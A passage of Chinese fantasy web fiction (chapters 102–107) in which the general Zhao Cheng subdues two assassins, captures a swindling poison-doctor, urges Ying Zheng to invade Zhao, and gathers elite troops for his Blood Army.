影月有些崩溃,她握着匕首的指节愈发青白。
突然暴起,匕首折射冰冷月色,寒光乍现,却又瞬间消失。
赵诚只是抬眸,影月便失了魂般,瞬间动弹不得。
阴阳术!
大成的阴阳术!
情报不是说,血屠是炼体之人吗?
影月要疯了,这血屠究竟是什么妖怪?
“影楼七魅?”
站在赵诚身侧的断玉突然开口,点出了两女的身份。
赵诚挑眉,“七魅,还有同伙?”
难道是算错了?
断玉说道,“回爵爷,七魅死了五个,现在就剩她们两个了。”
赵诚惊奇,“那影楼?”
断玉说道,“楼主也死了,整个影楼就她们两个。
不过她们两个手段不俗,在江湖上倒也有些名声,说起来影楼七魅之声名,反而是她们两个人打出来的。”
两个人打出了七魅之名,听起来怎么这么怪?
灵鸢本就恐惧不敢动弹,见到影月突然僵直,愈发惊惧。
“二……二姐?”
“你没事吧二姐?”
她颤抖着朝着影月扑去,满脸悲痛,还以为影月死了。
扑到影月脚边,伸手去拉影月。
身影却突然消失,月色好似如水般颤动出了涟漪。
一柄匕首凭空出现在赵诚脖颈一侧,直刺咽喉。
灵鸢那柔弱可怜的眸子,此时锋锐异常,比匕首尖锋寒芒更盛!
第102章 败鸢落月,秘出药无医
得手!
灵鸢眸中闪烁着必胜把握和得手快意!
然而下一刻,这眸光陡然散尽,化作无边惊骇!
赵诚体内的一丝真元瞬息而至,如风卷残烛!
咔!
匕首突然开裂,好似虚空中有一只手掌攥住了匕首,使其在刹那之间化作了齑粉。
赵诚那一丝真元碾灭了匕首,轻飘飘落下,瞬间将灵鸢压跪在地。
“人才?”
赵诚扭头看了看断玉。
断玉咽了咽口水,心惊之间点了点头。
赵诚笑了,“确实算是人才。”
还有演技的。
“你们俩因何来刺杀我?”
赵诚朝着灵鸢问道。
灵鸢艰难抬头,身上似有一座大山在不断压下,只能拼命鼓荡真元对抗,但娇柔身躯依然越伏越低。
若非她身子骨软,如今全身骨头都要折了。
“为……悬赏……”
“为钱?”赵诚眉峰一挑,要钱不要命?
“你们两个也算是有手艺的,还能缺钱?”
这二女的强度,甚至和云习相差不多,虽然修为比云习差上一些,但战斗经验和手段却强得多了。
依赵诚看,就算是云习对上两女,也只有死路一条。
这样的人能缺钱?
然而赵诚问出此问,灵鸢却闭口不言,只死命对抗那一丝真元。
她不说却也无妨,赵诚闭目微微推算,与漫天星辰运行之理之中拨算天机,很快便理出一线。
“故人之后,天生有缺,你俩要赚钱给她治病……”
灵鸢豁然抬头,心惊之余,浑身真元陡然松懈,差点被那一丝真元压断了浑身骨头。
她惊慌失措只有一闪而逝,面色瞬间化作轻松之色,“你……未免太天真了,我们姐妹是刺客,杀人为生,谁会为故人之后拼死拼活?”
“钱,自是不缺的,不过这份悬赏足够多,干完这一票,我们姐妹就能金盆洗手。”
“成王败寇,既然杀人,自然有被杀的觉悟。当然……”
她硬气的说着,突然话音一软,“若是大良造赏识,不杀我们也行,我们姐妹必定鞠躬尽瘁死而后已啊大良造!”
“白干活,不给钱也行!”
“行行好吧大人,知道错了,已老实,求放过。”
赵诚哭笑不得,这烟雾弹打的,有声有色的。
他低眸心念微转。
“韩人……”
韩国的舆图他都看过,早已烂熟于心。
天星地理对应,飞快锁定位置。
“新郑之外,白杨村西……”
“禾……”
赵诚每说出一个字,灵鸢心头就暴跳一下。
到了最后,她双眸暴睁,瞳孔骤然收缩,心中再无一丝侥幸,只有无边的惊惧。
这人,到底是什么妖怪!?
“你怎么查到的,不可能!”
“我们从未与她接触,这事和她无关!”
“你……你别……”
“我愿意给大良造做牛做马,你别……”
她的语气表情在飞快的转变着,意识到强硬无用,立刻转为哀求,哀求亦无用,立刻提出筹码。
“我倒是不缺牛马……”
听到赵诚的话,灵鸢眸子一暗,开始发疯似的爆发体内真元,要拼命放手一搏。
另一边的影月竟也动了动指头,好似在剧烈挣扎,要冲破赵诚的摄魂咒印。
赵诚扫了两人一眼,两人便再也动弹不得。
“断玉,命人去那白杨村西,把一名为禾的女孩接来,这女孩左腿有残,常发心疾,与一哑婆相依为命,哦,那哑婆也接来。”
此话一出,两女更加玩命。
影月七窍出血,灵鸢骨骼绷断。
可惜,没什么用。
断玉见状又是好气又是好笑,多日相处,她已愈发了解赵诚为人。
此人虽杀敌酷烈,但绝不会因为这两个杀手要杀他,而大费周章牵连一女孩。
这影楼七魅,是入了爵爷法眼,爵爷才愿意费心呢。
也不知道这俩傻子,还在那拼什么命。
她想了想还是提醒了一句,“爵爷不缺牛马,倒是缺几把可堪一用的利刃。”
“你们若只为钱来,现在已经死了。”
“好好与爵爷说,还怕爵爷没钱给那孩子治病吗?”
钱虽然重要,但只以钱为信仰的人,是不牢靠的。
此话一出,灵鸢和影月都是动作一停,莫名有些尴尬。
啊……这个意思吗?
早说啊,差点就挣扎到自尽了!
两人心头一松,顿时感觉浑身剧痛。
赵诚无奈的看了一眼断玉,断玉不好意思的笑了笑,退出去安排玉衡楼去韩境接人了。
赵诚撤回了咒印和真元。
二女如蒙大赦,跪伏在地。
“爵爷,影月(灵鸢)愿效犬马之劳!”
赵诚指了指韩霜,“她身上的毒香,你们制的?”
影月摇头,如今七窍流血,显得有点凄惨,月色之下,好似美艳女鬼。
加上连日听墙根等暗号熬出的黑眼圈,有一种很阴间的病态美。
“回爵爷,不是我们制出的,是药无医做的。”
“药无医这人,是医家子弟,通神农术,有妙手回春之能,在江湖上很有名气,许多刺客都找他治伤,他收费很贵,但是确实药到病除。”
“最开始,我们是要给……小禾儿治病,所以找到了他,但他收费太贵,小禾儿的病又是顽疾很难治好,所以我们接了许多任务,还是没能治好她。”
“药无医断定小禾儿活不了几年了,我们攒不够钱,也不能看着小禾儿就这么死了。”
“不过前段时间,他给我们指了一条路,就是诸国悬赏爵爷的赏金。”
“诸国悬赏是一大笔钱,而且可以领好几份。”
“有此赏金,他就可以完全治好小禾儿的病,再加上时间紧迫,我们……就动了心思。”
“爵爷要是能治好小禾儿,我们姐妹二人此生此世,不,就算是来世,也给爵爷当牛做马,报爵爷恩情。”
此时两人倒是乖顺了,知无不言,赵诚问了一句,直接倒豆子似的说出了一大堆。
“药无医?”
赵诚微微侧头,这名字听着怎么耳熟?
等等,封不救,药无医……
都是医家子弟,通神农术。
这俩人有关系啊……
第103章 江湖第一诈骗犯!药无医的妙用!
药无医,封不救……
赵诚起心动念一算。
哦豁,师兄弟。
再一细算,更是惊奇,这也是一个人才。
他能治好那女孩的病,就是不治,糊弄这影楼七魅的钱。
这家伙有真才实学,却坑蒙拐骗,以此术糊弄了不少江湖杀手为他打工。
但此人吧,又只糊弄杀手,不糊弄百姓,真给百姓治病,所以名气很大。
偏偏还是个有情义的,因为师弟封不救被赵诚扣押了,于是就想借影楼七魅的刀,把赵诚杀了,救出师弟来。
算到此处,赵诚乐了。
真是个人才,那也别跑了,既来之则安之吧。
“你们二人,先去把这药无医给我抓来。”
“这……”灵鸢顿时有些迟疑,“药无医在江湖上很有地位,也确实救过许多刺客的命。”
“而且很多高手刺客全都指望他治伤救命,与他关系匪浅,绑了他,等于是捅了刺客的马蜂窝啊。”
“让他们来找我就是。”赵诚笑吟吟的,“等等,你在为他求情?”
灵鸢咬了咬下唇,小心说道,“他给小禾儿治病,许多次都没收钱,我们实在……不好意思恩将仇报……”
人才啊,都是人才啊。
被人卖了还给人家数钱。
影月却是立刻站起身来,就往外面去。
“二姐,等等我,咱们真要恩将仇报吗?”
“少废话,快来!”
“来了!这次我先上,那家伙用毒危险,咱们见了他直接一脚踹翻,然后狠狠打晕,再把他五花大绑……”
两人的身影在灵鸢的计划声中远去了。
赵诚面色古怪,这叫不好意思恩将仇报?
……
“又来买毒香了?我说你们买的那些毒香,一千个方士也能放翻了,到现在没放不倒那血屠?”
暗巷角落,一间简陋破旧的医馆中光线有些昏暗,四处弥漫着草药的香气。
一个身穿月白色粗麻长袍的青年蹲坐在阴影之中,头发随意的挽成发髻,几缕碎发落在额前,一双琥珀色眸子时不时闪过精明之色。
“你们莫不是被那个韩霜坑了吧,我可告诉你们,不能再折价了。
我这毒香用料可都是金贵货,要不是看在你们是老主顾的份上,又是对付那血屠,我才不会这个价格卖给你们。”
灵鸢唉声叹气,一边靠近药无医,一边哀求。
“行行好吧药兄,这次只差一点了,那血屠实在强大,天下间只有你的药才能放倒他,别人都不行。”
药无医被她捧得有点开心,见灵鸢靠近也不以为意。
以他在江湖上的声名和地位,这些杀手不敢拿他怎么样。
命是自己的,而医生是大家的,谁敢对医生不利,就是对所有人的命不利,必然会遭到群起而攻。
所以他有恃无恐。
“不行不行,规矩不能坏,必须拿钱来……”
“我去你的规矩吧!”
然而,当灵鸢靠近三步范围内,突然暴起,一脚狠狠踹在药无医的肚子上,将其踹翻在地,摔成了滚地葫芦。
药无医翻滚着撞到了药架子上,痛得龇牙咧嘴,又是满脸懵逼。
这娘们疯了不成!?
竟然敢对他动手?
谁给她的胆子?
“我今天……”
嘭!
他刚想放点狠话提醒一下灵鸢自己的身份,结果灵鸢已经出现在他身边,狠狠一脚踢在他的脑袋上,嘭的一声将其直接踢晕了过去。
而后灵鸢动作不停,行云流水一般的将药无医五花大绑。
一直在策应观战的影月松了口气。
药无医一身毒不容小觑,若是被他发现了端倪,提前有所准备,两人恐怕都要交代在这里。
好在这家伙大意了,灵鸢也没给他任何机会。
灵鸢刚想要提着药无医向外走去,却被影月拦住了。
“怎么了二姐?”
“先别出去,药无医手段诡谲,我怕他还有什么后手,给我。”
灵鸢将五花大绑的药无医递给影月,影月检查了一番,又拿出一只准备好的小雀放在药无医身上。
小雀毫无变化,并没有中毒迹象,但她还是没有完全放心。
想了想,又将药无医扔出了医馆,而后将小雀也扔了出去。
药无医飞出医馆,噗通一声摔在地上,滚了三圈,昏迷中吭吭了两声,又继续昏迷了。
那小雀落在他身上,叽喳叫了几声就要飞走。
然而一扇翅膀,才飞出几尺距离,就突然之间暴毙栽在地上没了声息。
灵鸢顿时心惊肉跳。
若是刚才她提着那药无医出了门去,现在怕是已经成了死人了。
“二姐,这……他何时下的毒啊?”
影月看了看逼仄的医馆,已是心中明了,说道,“他一直都在下毒。”
“他身上的毒和医馆之中的这种药香能够中和,所以只要他在医馆之中,别人与他接触就没事。”
“若是出门,他自己也会施展手段去掉这种毒气。”
“但一旦被人劫持,出了门去,都会中了他的毒,被他反制,顷刻间暴毙。”
影月行走江湖多年,能够从七魅之中脱颖而出活到现在,全凭这份小心。
灵鸢年纪最小,是七魅中的老幺,但天赋超绝,又紧跟影月,所以也活到了现在。
“那现在怎么办?他身上有毒,我们如何将其带回去?”
“先看看毒的范围。”
影月又是一番测试,确定了药无医身上的毒气范围只在身边三四步方圆。
于是弄来了送肉的车,两人加长了木杆,一前一后押送药无医前往爵府。
然而走出没多远,就遇到了其它刺客拦截。
这刺客身上还带着中毒溃烂的伤势,来寻药无医解毒的,发现药无医不见了,立刻就追了来。
“你们要带他去哪?”
影月看了看他,此人将死,和将死之人拼命是最危险的。
“送他去见一个人,你要治伤?”
此人也不愿与盛名已久的影楼七魅为敌,默默点了点头。
“请便。”
影月摊了摊手,示意他可以直接去找药无医。
但这人显然也不傻,见了两人用木车推着药无医,知道事出有妖。
不愿上前,双方僵持片刻,影月继续前行。
她们不着急,中了毒的刺客却是着急的,他扛不了多久。
于是见影月露出了破绽,立刻暴起偷袭。
影月早有准备,与灵鸢对视一眼,突然一抖马车,那药无医就像是盆里面的面团子,被当做武器抖了出去,直奔刺客。
刺客大惊失色,如避瘟神拼命闪躲……
第104章 师兄弟重逢,不如不见……
“卑鄙!”
眼见药无医朝着自己飞来,刺客大惊失色,如避瘟神般拼命闪躲。
可惜药无医身上的毒气范围太大,他躲开了人,没躲开那毒风。
吸了半口,瞬间倒地身亡。
而药无医又是嘭的一声摔落在地,痛的哼唧了几声,昏迷的更深了。
见此情境影月亦是脸色凝重。
一缕毒风杀人,此毒当真可怖。
她又以绳索将药无医甩回推车,两人依旧与木车保持距离,押送向前。
路上但凡遇到拦路救人的杀手,那就顺水推舟,将药无医当做毒弹扔出去,简直无往不利。
这家伙为了自保下的毒,效力确实够强,至今为止,还没有一合之敌。
悄然入了爵府前堂,两人找到赵诚复命。
赵诚闻言颇感兴趣,将五花大绑的药无医抓在手中,果然中毒。
这毒当然对他影响不大,他体内真元一卷,就将这些毒全部逼到一处窍穴之中存了起来,化作了己用。
此后以此窍穴激发真元,可以随时打出剧毒,亦或者化作毒风挥散而去,可毒倒千军万马。
赵诚来了些兴趣,阴阳术运转,将药无医唤醒。
药无医一睁眼便对上一双凶眸,心中顿时震怖惊颤,还以为做了噩梦!
他浑身一震道,“你是何人!?”
“赵诚,你不认识我吗?”
“我为何要认识你?”
“若不认识我,为何要指使她们来杀我?”
药无医思维清晰了一些,扭头看到影月二女站在一旁,突然意识到什么。
“血屠!?”
“等等,你离我这么近,怎会……”
赵诚指尖上真元缭绕,一缕毒气环绕指尖。
“你说这毒?”
“还挺有用的,回头多弄点,我吃上一些,以后杀敌倒是好用。”
完了!
此人修为通天,百毒不侵!
药无医脸色灰败,知道事情已经败露,而自己也已经成了赵诚的阶下囚。
最大的后手,最烈的毒,也被赵诚随手化为己用,让他再也没有了一丝侥幸。
他恨恨看向影月两女,“我待你们不薄,多次破例不收钱为那女孩治疗,你们竟然恩将仇报!”
灵鸢不去看他,影月倒是面色如常,冷漠以对。
“还演呢。”
赵诚好笑道,“你本来一次就能治好那女孩,一直拖着不治疗来骗她们的钱,更指使利用他们来对付我,怎么反倒成了她们恩将仇报了?”
“你……”药无医惊的说不出话来。
这血屠是怎么知道的?
影月则是眼眸一立,有杀机涌出。
老娘赚了那么多年的钱,原是都被他骗去了!
灵鸢更是惊叫跳脚,“你这毒医!!你你你你骗我们!”
“真是该杀!!”
她气坏了,要不是赵诚在这里,现在已经扑上去把药无医大卸八块。
“不止她们,所有你治疗过的刺客,你都或暗中下毒,或不根除病患,让对方以为余伤未尽,而为你所用。”
“你说这事要是传出去,这些刺客会怎么处理你呢?”
此话一出,药无医顿时不寒而栗。
刺客最是冷血无情,更是残暴至极。
如影楼姐妹这种,在这一行那都是人性之光,也是药无医为数不多没有下毒的。
但其他人一旦知道此事,有一万种办法折磨他,逼出解药来。
这也是药无医为何只暗中引导,而不直接点破对方中了自己毒的原因。
一旦消息被血屠放出去,到时候他想死都难。
他勉强爬起,只觉得浑身四处哪里都痛,脑袋也是昏昏沉沉。
该死的,这两个娘们是不是趁老子昏迷,暴打了老子一顿?
她们之前不是不知道我骗他们吗,打我作甚?
他揉了揉伤痛的身体,咧嘴轻蔑一笑,目光凛冽直视赵诚。
现在摆在他面前的有三条路:
第一,痛斥赵诚血屠残暴不仁,以此激怒赵诚,被其砍了,算是死个痛快。
第二,虚与委蛇,假装臣服,伺机逃跑,等血屠放出消息,被全天下刺客追杀,再亡命天涯,最后被抓住求死不得……
第三,卑躬屈膝求饶,以一身所学换取活命机会,而后死皮赖脸赖在爵府,虽然丢失了尊严,但留住了性命,也不用求死不得。
这第三看似是最好的,但却最为他所不齿!
他虽以医术哄骗天下刺客,但那些刺客都是没有人性之辈。
杀人换钱,最是该死,没有直接毒杀他们,算他药无医妙手仁心!
他自是有他的原则,有他的坚持所在,怎能抛弃尊严臣服于残暴血屠?
当然是选第一条!
只见他大袖一挥,张开嘴巴,气沉丹田,噗通一下跪在地上五体投地。
“爵爷,药无医愿留在爵府,为爵爷效犬马之劳,请爵爷收留了犬奴,让犬奴为爵爷尽上几分薄力吧!”
识时务者为俊杰!
事急从权,贵在变通!
第一条和第三条完全可以换个位置。
“嗤!”
灵鸢十分不屑,全然忘了自己投诚时候的样子。
赵诚俯瞰药无医,“封不救是你师弟?”
“正是。”
赵诚点了点头,“他在药舍研究炼体药散,你去帮帮他吧,要是有用,就能留下来,若是无用,我也不杀你,就丢出府去自生自灭。”
丢出府去,可比杀了他要恐怖的多了。
药无医身体一颤,连忙拜谢,而后恭敬退出前堂,去药舍找封不救了。
近日以来,封不救找到了自己的用武之地,不断研发效力更强大的药浴。
药浴效力越发猛烈,用起来也愈发痛苦,这让他感到了一种痛快。
既然对付不了赵诚,就对付他的手下,狠狠折磨他们!
哼!
正在狠狠地研发,身后药舍的门开了。
他如同本能般转身跪地一气呵成,纳头便拜,“爵爷,新的药方已经准备好了,随时可以投入使用……”
药舍寂静无声。
这里药方关键,平常没有人能来,只有赵诚每日来看看进度。
今天爵爷不太高兴啊,得小心一点。
封不救悄悄抬头瞥了一眼,顿时愣住了。
师兄?
这……
第105章 赵诚三催嬴政,赵国第一舞姬
他脸色突然涨红,腾的一下站了起来,“血屠我和你拼了……”
“别演了。”药无医冷冷说着。
又怒斥道,“师父的脸面真是让你丢尽了!你真让我感到羞耻!”
封不救无比羞愧,收起了演技,垂头站在一边。
但下一刻他又涌起希望,看向药无医身后,又看向药舍之外,“师兄是来救我的?师父也来了吗?”
药无医摸了摸鼻子,有些沉默,“本来计划是杀了血屠救你出来的。”
“不过在这个过程中,我发现爵爷有惊天韬略,更是有情有义之辈,世人对其多有误解,所以……”
啊?
封不救懵逼的看着药无医。
“这意思是……”
药无医又是沉默,安静使时间好似变得漫长起来。
在封不救逐渐狐疑的目光中,他终于开口,“我来帮你了。”
封不救不敢置信的看着他。
合着你他娘的也卑躬屈膝了,刚才在和我装什么大尾巴狼?
我丢尽了师父脸面?
你没丢吗!?
师兄弟面面相觑,药舍之中一片安静,气氛愈发尴尬。
还是封不救先开口了,状似无意道,“师兄,你也来了啊?”
药无医摸了摸鼻子,“嗯,师弟你也在啊。”
“师兄来看看这个,我新研制的炼体药方。”
“一别多年,师弟药理更精进了。”
“比不上师兄。”
刚才的对话好似没有发生过,师兄弟就像是在他乡偶遇了一般,很快就沉浸在了药方的优化中。
谁也不愿意提起刚才之事。
……
“陛下,赵诚上将军来求见。”
“他怎么又来了?”
嬴政有些头疼的揉了揉眉心,这小子真是个打仗狂,这才在咸阳城里呆了多久,就呆不住了。
一连好几日,每天都来催他发兵征伐赵国。
“让他进来。”
赵诚踏入殿中,龙骧虎步之间,殿中的光线都好似暗了三分,
“陛下,血衣军已有一万精锐,其中前铁鹰锐士一部更胜从前,剩余七千亦是能够达到之前铁鹰锐士一部的强度,是时候该攻赵了!”
嬴政异常无奈,血衣军进境确实神速。
但每一次实力增长,赵诚都会来请兵攻伐。
最近几日,更是一天都没落下。
“寡人不是说了吗,现在还不是时候。”
“陛下想要等颍川郡军政稳定之后,再结合颍川郡的兵力和地理优势,三线攻伐赵国,如此胜券在握,一战定之?”
嬴政抬眸,细细看了一会赵诚,“卿不是很清楚吗,怎么还来催寡人发兵?”
赵诚说道,“正是因为清楚,才来催促陛下。”
“颍川郡要彻底稳定下来,至少需要一年的时间,一年太久了,陛下用臣攻赵,臣可半月灭赵。”
嬴政不语,思忖起来。
赵诚的能力他自然是相信的,但赵国比韩强盛太多了,更有擅长防守战的李牧。
再加上赵诚之名已经传遍诸国,诸国对其有所防备,必然会针对他进行布置。
赵诚虽然神勇,但是毕竟还年轻。
就如之前的他一般,以为秦国如此强盛,灭赵一定不会太难,结果派出的将领接连被李牧败退,才不得不先灭掉韩。
他深知不可小觑天下英雄,也深知赵诚可为大秦国柱,不能轻易折损,这才如此慎重。
所以需要更强的实力,必胜的把握才行。
“待到卿的血衣军增员至两万,人人都有之前铁鹰锐士的水准,寡人便发兵攻赵,命蒙武王翦与你一同,三线攻伐,如何?”
“臣以为可,臣还有一事,近来臣修习书法,丢了几个摹本,左右找不见,恐怕是被敌国的探子拿去利用了。”
他哪会去练什么书法,完全是为了那几个密探特意写的两本摹本,扔在了他们容易找到的地方。
嬴政目光一凝,心中已经有了猜测,“赵国想要离间?”
赵诚点头说道,“赵国离间之策一到,陛下可将计就计,将臣发配韩境,臣伺机突袭,不日便可灭赵而归。”
“善,那便如此定下吧。”
赵诚走后,嬴政唤出顿弱。
“赵国秘士潜入秦国了?”
顿弱说道,“黑冰台已经抓获七名阴山谍府的秘士,不过各处依然还有不少胡谍踪迹。”
嬴政想了想,“派人去阳城县护好赵诚亲眷,不可让赵国钻了空子。”
顿弱点头,“大王英明,臣立刻便去安排。”
实际上,他之前就安排了黑冰台精锐守护在怀阳村周围,不过在君王面前,不自作主张,刻意显露聪明,才是为臣之道。
嬴政没下令,他此举便是自作主张,会为君王所不喜。
而若是敌人已至,他早有安排拦截了危险,便可以功抵罪,就算表面受罚,地位也只会越来越稳固。
如今嬴政亲自下令,他正好顺势让早就隐藏在暗中守护的黑冰台秘士走到明面上,更显其办事效率之高。
……
“你们确定那姬雪儿出现在了这间酒楼?”
“那还能有假?那女子一出现,整个酒楼都好像变得香气扑鼻,阁楼上的鸟都栽到地上去了,水池里面的鱼,都被迷晕而沉底,那真是这辈子都不曾见过的神女,看上一眼都觉得死而无憾了。”
“客官您不知道,当时那姬雪儿来吃饭,一入酒楼,那所有食客全都看呆住了。
看见没,那位王二爷到今日都还跟丢了魂儿似的,以前他最爱吃我们家的三鲜鸡,如今却总说没味道,硬说我们换了厨子。
哪是厨子换了,明明是他的心变了,被那女子勾去了啊……”
“可知她去了哪里?”
“不知,刚出酒楼就没了踪迹。
嘿,您说怪不怪,那满大街的人都目不转睛看着,人就那么不见了,找都找不到,现在城里都说,此女是仙子下凡呢……”
某日,传闻中倾国倾城的赵国第一舞姬出现在了韩境,引得无数名士贵族争相寻访。
但凡有其传闻之处,都汇聚了大量的富商豪雄,亦或者是游侠儒士。
有点能力的都前去寻访,希望在传闻出现之处,一睹这神女芳容舞姿。
可惜,这姬雪儿每次出现,都是短暂停留,只有一些机缘深厚之人有幸能得一见,刻意前去寻访的人,反而连她的裙角都看不到一点。
此女是在太过神秘,关于她的传闻亦是甚嚣尘上,越传越是夸张。
这在秦国也是掀起了一拨浪潮,涉及到的贵族豪雄也是越来越多,呼朋引伴,推测姬雪儿的去向,而后争相寻访神女。
以见过神女一面为荣。
第106章 王翦:此人万万不可交恶!切记!
“妾奴总是觉得,这赵国第一舞姬,是冲着爵爷来的。”
断玉坐在堂中,一边为赵诚揉捏肩膀,一边将最近关键情报说给赵诚。
如今,在她的安排下,玉衡楼已经在秦国铺开,渐渐向着六国扩散。
效率之高,令人惊叹。
而常人寻访不到的姬雪儿踪迹,她却总能第一时间把握,结合其路线,猜测此女式为赵诚而来。
“赵国真是太客气了,又是送手下,又是送美人。”
赵诚听着断玉的讲述,对这姬雪儿也升起几分好奇。
传的这么玄乎,跳舞能比流萤还柔美婀娜吗?长得能比断玉更娇媚美貌吗?
看到赵诚眼中的好奇,断玉突然破天荒的噘了噘嘴,心中涌起一丝别人要抢自己宝物的危机感。
但很快她便自我察觉到,朱唇又轻轻抿起,散去了心中酸意。
她心中苦笑,自己大抵是有点病了。
竟然将爵爷当做了自己独有。
……
“父亲,听说血衣军还要扩建,那赵诚正要自三军选拔,咱们要不要配合?”
王翦府邸,王贲听闻血衣军即将扩建的事情,找到王翦询问。
王翦看着赵国舆图,复盘李牧之前的几次战斗,头也没抬。
“配合,当然配合。”
王贲说道,“这赵诚与那蒙家一脉交好,他的血衣军恐怕更多的配合蒙家作战,咱们将最精锐的士兵全都送给他,岂不是为他人做嫁衣?”
王翦依然头也不抬,“都是我大秦的精锐,何谈为他人做嫁衣?”
王贲微微皱眉,“可那赵诚如今在军中如日中天,其率领的血衣军越强,以后战场上就越是以他们为主导。”
“之后灭诸国,陛下恐怕就不会让我们主战了。”
王翦终于抬头,看了看自己的儿子。
王贲一直以来,表现的都让他很是满意,家传兵法也是一点就通,年纪轻轻就已经能够独自领兵作战,而且奇谋频出,已有大将之风。
“主战如何,军功赫赫又如何?”
“陛下信任,封侯拜将自是无虞,陛下若是不信任,军功便是要命的刀,悬在你脖子上,随时都会砍下来。”
“我倒是希望赵诚大良造能够主领战事,踏灭诸国。”
“我们给他打打下手就是。”
王贲不解,他还年轻,也有才能,自然想立不世之功,封侯拜将。
而摆在他们面前的军功蛋糕,只有那么几个国家了。
若是都让赵诚灭了,他们岂不是显得很没用?
“可是,吾也能领兵踏灭诸国!”
王翦终于无奈,看了看王贲,心说你能跟他比吗?
第一次听说赵诚,他就有所察觉。
等到见了赵诚,已是再无疑虑。
这小子出身阳城县怀阳村,就是当初陛下被刺杀流落到的那个小村子啊!
那面容,简直与陛下如出一辙,还能是何人?
如今那孩子又如此神勇,他不主领战事,那才是荒唐。
“我教你的东西,你都忘了吗?”
“赵诚此人,你只可与其交好,万万不可交恶,切记。”
王贲抿了抿嘴,“知道了,父亲。”
他虽然还有些不服,但却已经知道了父亲所指。
兵法有云,善用兵者,避其锐气,击其惰归,此治气者也。
当年长勺之战,鲁国曹刿面对齐军三次击鼓进攻,三言“未可”。
待齐军三次击鼓后士气衰竭,才下令反击,最终大败齐军。
正是此理啊,父亲所说的教导,就是让他回想起这个道理。
要他不能招惹如日中天的赵诚,等待赵诚萎靡的时机,再与之相争!
他自认领悟了父亲所想,于是亲自去选拔锐卒。
而后给血衣营送去。
……
“蒙武送来的这两千确实是精锐之中的精锐,能够达到之前突骑营精锐的标准。
有足够的肉食,再加上药浴,半个月的时间,应该足以达到之前铁鹰锐士的标准了。”
“也就是说,半个月之后,我就有了一万两千血衣锐士,不过要达到两万,还需再选拔八千精锐。”
“若是上等精锐,再训练大半个月,应该也能达到铁鹰锐士的标准。”
“蒙武将军与我交好,愿意亲自选拔精锐交给我,其他将领却未必如此配合。”
血衣营中,赵诚琢磨着到哪再去弄点精锐来。
为了速灭赵国,他已经开始琢磨如何抢人了。
正想着,突然亲卫来报,有各部常设将军携精锐来见。
赵诚闻言挥了挥手,“迎进来。”
他也拿不准这些人是送些普通士兵来搪塞,还是瞌睡来了送枕头。
只能先见了再说。
走出门去,一眼看到一名青年当先,带兵而来。
此人身材高瘦,行举有力,双目有神,颧骨颇高。
正是王贲。
王贲远远看到赵诚,饶是已经做了心理准备,还是心头一震。
好霸烈的身形,好浓厚的煞气!
他在将领之中已经算是高大的了,但一见那赵诚,却好似矮了三分,如林木突见参天大树一般。
离得近了,他甚至需要微微昂头才能直视赵诚,干脆肃拜行礼。
“上将军,父亲听闻陛下要血衣军扩建至两万员,特命末将在军中选拔三千精锐,给上将军送来。”
赵诚目光一扫那些精锐,各个都是虎贲之士,膀大腰圆,哪里还不知道这都是真正的精锐?
“王将军这些将士真是及时雨,我正在想去哪选拔更多精锐,王将军就已经到了,多谢多谢。”
“应该的,父亲说了,不论是在血衣军,还是中央军,都是我秦国的精锐,他们交给上将军,才能发挥更大的作用。”
“对了,杨将军和李将军也快到了。”
果然,不多时,杨端和和李信相继带着精锐赶来。
杨端和与王翦多次并肩作战,与之交好,见王翦送了精锐来,自然也随之而来。
李信则是军中少壮派的显赫人物,对赵诚十分推崇,早就想拜访赵诚,奈何赵诚在咸阳城这段时间谁也没见。
如今听闻血衣军还缺人,李信便也选拔了两千精锐送来。
在几人之后,更有辛胜,杨熊等人接连送来精锐。
赵诚设宴,与众将饮酒笑谈了一番,众将领便各自散去了。
留下一万兵力,加入了血衣军。
第107章 诈骗犯再现江湖!最后一票连环套!
诸将这一万精锐都是精挑细选,倒也无人用普通锐士搪塞赵诚。
而秦军尚武,这些精锐本身对赵诚就异常尊崇,甚至有不少人对其狂热无比。
再加上血衣军的特殊性,一万精锐对于加入血衣军没有不激动的,颇为荣幸。
赵诚给他们说了练兵流程与待遇之后,纷纷激动不已。
半日不到,一万精锐就加入了炼体大部队之中,也开始鬼哭狼嚎起来。
他们这才知道,快速精进的代价如何可怕。
这简直就是生不如死。
也不知道那些前辈是怎么扛住修炼下来的。
至今为止,还是最开始跟随赵诚那六千精锐和原本的铁鹰锐士炼体最为疯狂。
有他们做标榜,其他精锐就算生不如死,也不好落后太多。
于是一个个咬牙猛炼。
血衣军营每天都传出凄厉惨嚎声,上林苑以血衣军营为中心,方圆五里的林子中,都看不到一只野兽。
……
“爵爷,那女孩接来了。”
正堂之中,断玉领着一个小女孩走来,女孩怯生生地躲在断玉身后,有些一瘸一拐地前行。
她身形瘦弱,左腿有些畸形,面色带着病弱的苍白,齐肩黑发显得有些枯槁,弯弯的眉毛更显柔弱,一双大眼睛却是清澈明亮。
此时那双透亮的眸子正如同受惊的小鹿一般,慌乱地扫视周围的陈设。
如此华贵的陈设,她从未见过,所以显得非常局促不安,每每看到一些新事物,便立刻低下头去,却又忍不住好奇,偷偷地打量。
对于很多赵诚平常不注意的东西,例如那些莳薇随手摆放的盆栽,素檀挂起的字画,亦或者是纫秋刺绣的小物件,她都极感兴趣,却又害怕地不敢多看。
因为她也不知道,一直在村中与婆婆辛苦相依为命的她,为何会突然出现在这么华贵高阔的地方。
在她小小的认知里,以前那些村中的富户老爷的家,就是她的毕生梦想了。
每天晚上睡觉前,想一想自己会住在那种大房子里,就可以美美地睡过去,期盼着真的能做梦梦到。
但今天,这些事物每时每刻都在剧烈冲击着她的认知,她的审美。
她甚至想象不到这些东西该有多贵重,他们的主人又是什么样的人物。
唯一能够带给她安全感的,便是跟随在后的哑婆婆。
以及面前这个看起来美的像仙女似的大姐姐。
这样漂亮的大姐姐,一定是好人,她的朋友,也一定是好人吧?
或许是神仙看我过得不好,把我接来仙宫了吗?
她细碎地想着。
听到断玉的声音,没忍住好奇探出了眼睛看向了前方。
看到坐在那里的魁躯瞬间,她浑身剧颤,极恐慌地缩回了眼睛,浑身抖若筛糠。
完啦!
见到阎王爷啦!
不是去仙宫了,可能是已经病死了,魂都到地府了!
小禾儿突然哭了起来,眼泪大滴大滴落下,却没有发出一丝哭音。
她很后悔,没有和二娘小娘好好告别。
眼泪滴落在断玉手上,断玉惊讶回头,“怎么哭了?”
“没事的没事的,爵爷不是坏人,小禾儿别害怕。”
赵诚无语,他也不是故意要吓唬小孩子,其实已经很收敛了。
在断玉的安抚下,念禾平静了一些,再次向着赵诚看去。
赵诚露出一个和蔼的笑容,“小禾儿……”
